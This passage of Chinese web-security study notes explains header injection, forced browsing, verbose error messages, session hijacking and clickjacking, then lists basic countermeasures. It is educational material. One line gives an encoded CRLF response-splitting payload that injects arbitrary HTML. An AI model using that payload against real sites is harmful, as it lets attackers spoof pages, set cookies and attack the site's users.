利用已通过认证的用户权限购买商品
利用已通过认证的用户权限在留言板上发表言论

三. HTTP首部注入攻击

HTTP首部注入攻击（HTTP Header Injection）是指攻击者通过在响应首部字段内插入换行，添加任意响应首部或主体的一种攻击。属于被动攻击模式。

HTTP首部注入攻击可能会造成以下影响：

更改Set-Cookie值设置任何Cookie信息
更改Location重定向至任意URL
显示任意的主体（HTTP响应截断攻击）

向首部主体内添加内容的攻击称为HTTP响应截断攻击。响应截断攻击的效果与跨站脚本攻击类似。

%0D%0A%0D%0A<HTML><HEAD><TITLE>之后，想要显示的网页内容 <!--

四. 利用用户身份攻击内部网络

利用被动攻击，可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。只要用户踏入攻击者预先设好的陷阱，在用户能够访问到的网络范围内，即使是企业内网也同样会受到攻击。

五. 强制浏览安全漏洞

强制浏览（Forced Browsing）安全漏洞是指，从安置在Web服务器的公开目录下的文件中，浏览那些原本非自愿公开的文件。

强制浏览可能会造成以下影响：

泄露顾客的个人信息等重要情报
泄露原本需要具有访问权限的用户才可查阅的信息内容
泄露未外连到外界的文件

强制浏览可能存在场景：

直接显示容易推测的文件名或文件目录索引
由编辑软件自动生成的备份文件无执行权限，有可能直接以源代码形式显示

六. 不正确的错误消息处理安全漏洞

不正确的错误消息处理（Error Handling Vulnerability）的安全漏洞是指，Web应用的错误信息内包含对攻击者有用的信息。Web应用不必在用户的浏览画面上展现详细的错误消息。对攻击者来说，详细的错误消息有可能给他们下一次攻击以提示。

七. 会话管理疏忽安全漏洞

会话劫持（Session Hijack）是指攻击者通过某种手段拿到了用户的会话ID，并非法使用此会话ID伪装成用户，达到攻击的目的。

下面列举了几种攻击者可获得会话ID的途径：

通过非正规的生成方法推测会话ID
通过窃听或XSS攻击盗取会话ID
通过会话固定攻击（Session Fixation）强行获取会话ID

对以窃取目标会话ID为主动攻击手段的会话劫持而言，会话固定攻击（Session Fixation）会强制用户使用攻击者指定的会话ID，属于被动攻击。

八. 点击劫持攻击

点击劫持（Clickjacking）是指利用透明的按钮或链接做成陷阱，覆盖在Web页面之上。然后诱使用户在不知情的情况下，点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装（UI Redressing）。已设置陷阱的Web页面，表面上内容并无不妥，但早已埋入想让用户点击的链接。当用户点击到透明的按钮时，实际上是点击了已指定透明属性元素的iframe页面。

九. 应对攻击策略

客户端的验证
Web应用端（服务器端）的验证

输入值验证
输出值转义

HTTP通信

第一章 了解HTTP